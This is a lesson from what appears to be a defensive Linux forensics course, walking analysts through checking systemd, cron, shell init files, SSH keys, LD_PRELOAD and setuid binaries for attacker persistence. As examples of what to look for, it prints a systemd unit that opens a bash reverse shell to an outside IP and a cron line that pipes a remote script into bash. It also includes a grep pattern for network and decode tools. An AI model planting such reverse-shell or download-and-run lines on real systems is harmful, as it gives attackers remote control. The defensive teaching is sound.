Lesson 2 of 5 · 25 min read

Linux Persistence Mechanisms — Where Attackers Hide on Linux

Linux persistence is distributed across the filesystem with no centralized registry equivalent. An attacker who gains root can plant persistence in dozens of locations — an analyst must check all of them systematically.


systemd Services — Most Reliable Linux Persistence

# List ALL active services
systemctl list-units --type=service --state=active

# Check recently modified service files (last 7 days)
find /etc/systemd/system/ /usr/lib/systemd/system/ \
  -name "*.service" -newer /etc/passwd -ls

# Examine a suspicious service unit file
cat /etc/systemd/system/sysupdate.service
# Example malicious service unit:
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=forking
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/185.220.101.9/4444 0>&1'
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target

Red flags: /bin/bash -c, network redirect to external IP, Restart=always, non-standard description.

# Also check systemd timer units (cron alternative)
systemctl list-timers --all
find /etc/systemd/system/ -name "*.timer" | xargs cat

Cron — Time-Based Persistence

# System-wide cron
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

# Per-user cron (one file per user)
ls /var/spool/cron/crontabs/
cat /var/spool/cron/crontabs/root
cat /var/spool/cron/crontabs/ubuntu

# Check cron log for actual execution history
grep cron /var/log/syslog | tail -50           # Debian/Ubuntu
grep cron /var/log/cron | tail -50              # RHEL

# Suspicious cron patterns:
# - curl or wget fetching remote scripts
# - base64 -d piped to bash
# - /tmp/ or /dev/shm/ paths
# - Output redirected to /dev/null (hiding evidence)

# Example malicious cron entry:
# */5 * * * * root curl -s http://185.220.101.9/b.sh | bash > /dev/null 2>&1

Shell Initialization Files — Per-User Persistence

# Check all user shell init files
for f in /etc/profile /etc/bash.bashrc /etc/environment; do
  echo "=== $f ==="; cat "$f"; done

find /etc/profile.d/ -name "*.sh" | xargs cat

# Per-user files
for home in /home/*/ /root/; do
  for f in .bashrc .bash_profile .profile .bash_login .bash_logout; do
    [ -f "${home}${f}" ] && { echo "=== ${home}${f} ==="; cat "${home}${f}"; }
  done
done

# Suspicious patterns:
grep -rE 'curl|wget|nc |netcat|/tmp/|/dev/shm/|base64 -d|eval' \
  /etc/profile /etc/profile.d/ /home/*/.bashrc /root/.bashrc 2>/dev/null

SSH authorized_keys — Passwordless Backdoor

# Check authorized_keys for all users (including root)
for home in /home/*/ /root/; do
  user=$(basename "$home")
  authkeys="${home}.ssh/authorized_keys"
  if [ -f "$authkeys" ]; then
    echo "=== $user ($authkeys) ==="
    ls -la "$authkeys"
    cat "$authkeys"
    echo ""
  fi
done

# Key count per user (should match known admin count)
# Flag: any key with empty comment, unusual comment, or unexpected addition

# Check ~/.ssh/known_hosts — may reveal attacker's pivot targets
cat /root/.ssh/known_hosts
cat /home/*/.ssh/known_hosts 2>/dev/null

LD_PRELOAD — Rootkit-Level Persistence

# Check system-wide preload file (should be empty on clean system)
cat /etc/ld.so.preload
# Any content here is suspicious — especially paths to .so files in /tmp/ or /dev/shm/

# Check environment files for LD_PRELOAD
grep -r LD_PRELOAD /etc/environment /etc/profile /home/*/.bashrc /root/.bashrc 2>/dev/null

# Check for suspicious .so files
find / -name "*.so" -newer /etc/passwd -not -path "*/lib/*" -not -path "*/lib64/*" 2>/dev/null

# WARNING: if /etc/ld.so.preload contains a rootkit, user-space tools
# like ls, ps, and find are compromised — results cannot be trusted.
# Correct response: boot from forensic media or image the disk offline.

setuid Binaries — Privilege Escalation Persistence

# Find all setuid binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null | sort

# Find all setgid binaries
find / -perm -2000 -type f 2>/dev/null | sort

# Compare against known-good setuid binaries
# Typical legitimate setuid: /usr/bin/passwd, /usr/bin/sudo, /bin/ping, /usr/bin/newgrp
# Suspicious: any shell (/bin/bash with setuid root), custom binaries in /tmp/

# Check modification time on known setuid binaries
ls -la /usr/bin/passwd /usr/bin/sudo /bin/su 2>/dev/null
# Modification time change on /usr/bin/passwd = possible binary replacement

/etc/rc.local and Init Scripts

# Legacy persistence — rc.local (still present on many systems)
cat /etc/rc.local
ls -la /etc/rc.d/
ls -la /etc/init.d/

# Modern systems: check if rc-local.service is enabled
systemctl status rc-local